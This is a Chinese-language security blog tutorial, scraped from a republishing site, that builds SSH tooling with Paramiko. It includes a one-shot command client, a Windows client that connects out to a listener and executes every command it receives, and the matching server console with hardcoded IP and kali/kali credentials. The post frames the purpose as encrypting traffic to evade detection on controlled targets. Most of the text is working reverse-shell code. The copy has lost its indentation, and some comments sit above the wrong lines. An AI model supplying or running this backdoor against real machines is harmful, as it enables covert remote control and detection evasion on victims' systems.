您现在的位置：程式師世界 >> 編程語言 > >> 更多編程語言 >> Python

Python3安全--40--SSH通信

編輯：Python

本博客地址：https://security.blog.csdn.net/article/details/125306100

一、引子

有時候，我們需要加密自己的流量以逃避檢測，一個比較常用的方法是通過SSH進行加密通信。但很多時候，控制的目標是沒有SSH客戶端的，此時開發的SSH客戶端就派上用場了。

常用的python庫是Paramiko，它是一個基於PyCrypto開發的第三方庫，為了了解這個庫的運作原理，我們將使用Paramiko連接到一台有SSH的機器，在上面執行命令；利用Paramiko編寫SSH服務器和客戶端，用它們在Windows系統上遠程執行命令。

這個例子將使用Paramiko自帶的反向隧道實例程序，來實現與BHNET工具的代理功能相同的效果。

二、Linux客戶端代碼

首先，下載一份Paramiko的官方代碼，地址：https://github.com/paramiko/paramiko

具體細節已在代碼注釋中說明。

ssh_cmd.py

#!/usr/bin/python
#-*- coding:utf8 -*-
import paramiko
# 該函數向SSH服務器發起連接並執行一條命令
def ssh_command(ip, port, user, passwd, cmd):
client = paramiko.SSHClient()
# 支持用密鑰認證代替密碼驗證，實際環境推薦使用密鑰認證
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 此處為了簡單，仍支持用戶名密碼認證
client.connect(ip, port=port, username=user, password=passwd)
# 自動信任並記住服務端發來的公鑰，如果連接成功，就開始傳給ssh_command函數的那條命令
_, stdout, stderr = client.exec_command(cmd)
output = stdout.readlines() + stderr.readlines()
# 如果這條命令產生了輸出，就將其逐行打印
if output:
print ('--- output ---')
for line in output:
print(line.strip())
if __name__ == '__main__':
import getpass
# 要求輸入用戶名
user = input('username: ')
# 輸入密碼，getpass函數能讓輸入的密碼不顯示在屏幕上
password = getpass.getpass()
# 讀取IP地址、端口、要執行的命令
ip = input("enter server IP: ") or '127.0.0.1'
port = input("enter server PORT or <CR>: ") or 2222
cmd = input('enter command or <CR>: ') or 'id'
# 將其交給ssh_command函數執行
ssh_command(ip, port, user, password, cmd)

運行示例：

可以看到，我們成功連接並執行了這條命令

三、Windows客戶端代碼

具體細節已在代碼注釋中說明。

ssh_cmd.py

#!/usr/bin/python
#-*- coding:utf8 -*-
import shlex
import paramiko
import subprocess
# 該函數向SSH服務器發起連接並執行一條命令
def ssh_command(ip, port, user, passwd, command):
client = paramiko.SSHClient()
# 支持用密鑰認證代替密碼驗證，實際環境推薦使用密鑰認證
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 此處為了簡單，仍支持用戶名密碼認證
client.connect(ip, port=port, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print (ssh_session.recv(1024).decode())
while True:
# 從SSH連接裡不斷讀取命令
command = ssh_session.recv(1024)
try:
cmd = command.decode()
if cmd == 'exit':
client.close()
break
# 在本地執行命令
cmd_output = subprocess.check_output(shlex.split(cmd),shell=True)
# 並把結果發回給服務器
ssh_session.send(cmd_output or 'okay')
except Exception as e:
ssh_session.send(str(e))
client.close()
return
if __name__ == '__main__':
import getpass
# 要求輸入用戶名，這裡用戶名一定要明文輸入
user = input('username: ')
# 輸入密碼
password = getpass.getpass()
# 讀取IP地址、端口
ip = input('enter server IP:')
port = input('enter port:')
# 將其交給ssh_command函數執行
ssh_command(ip, port, user, password, 'ClientConnected')

由於windows系統沒有自帶SSH服務器，所以我們需要反過來，讓一台SSH服務器給SSH客戶端發送命令。

四、SSH服務端

具體細節已在代碼注釋中說明。

ssh_server.py

#!/usr/bin/python
#-*- coding:utf8 -*-
import socket
import paramiko
import threading
import sys
import os
# 使用 Paramiko示例文件的密鑰，即github中的
CWD = os.path.dirname(os.path.realpath(__file__))
HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))
# 把監聽器SSH化
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'kali') and (password == 'kali'):
return paramiko.AUTH_SUCCESSFUL
if __name__ == '__main__':
server = '192.168.153.141'
ssh_port = 2222
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 這裡value設置為1，表示將SO_REUSEADDR標記為TRUE
# 操作系統會在服務器socket被關閉或服務器進程終止後馬上釋放該服務器的端口
# 否則操作系統會保留幾分鐘該端口。
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 綁定ip和端口
sock.bind((server, ssh_port))
# 最大連接數為100
sock.listen(100)
print ('[+] Listening for connection ...')
client, addr = sock.accept()
except Exception as e:
print ('[-] Listen failed: ' + str(e))
sys.exit(1)
else:
print ('[+] Got a connection!', client, addr)
# 設置權限認證方式
bhSession = paramiko.Transport(client)
bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server)
# 設置超時值為20
chan = bhSession.accept(20)
if chan is None:
print ('*** No channel')
sys.exit(1)
# 客戶端通過認證
print('[+] Authenticated!')
# 發送ClientConnected命令
print (chan.recv(1024))
chan.send("Welcome to bh_ssh")
# 在SSH服務器上運行的任何命令，都會被發送到SSH客戶端，並且在該客戶端上執行，執行的結果會回傳給SSH服務器
try:
while True:
command = input("Enter command:")
if command != 'exit':
chan.send(command)
r = chan.recv(8192)
print (r.decode())
else:
chan.send('exit')
print ('exiting')
bhSession.close()
break
except KeyboardInterrupt:
bhSession.close()

首先運行服務端：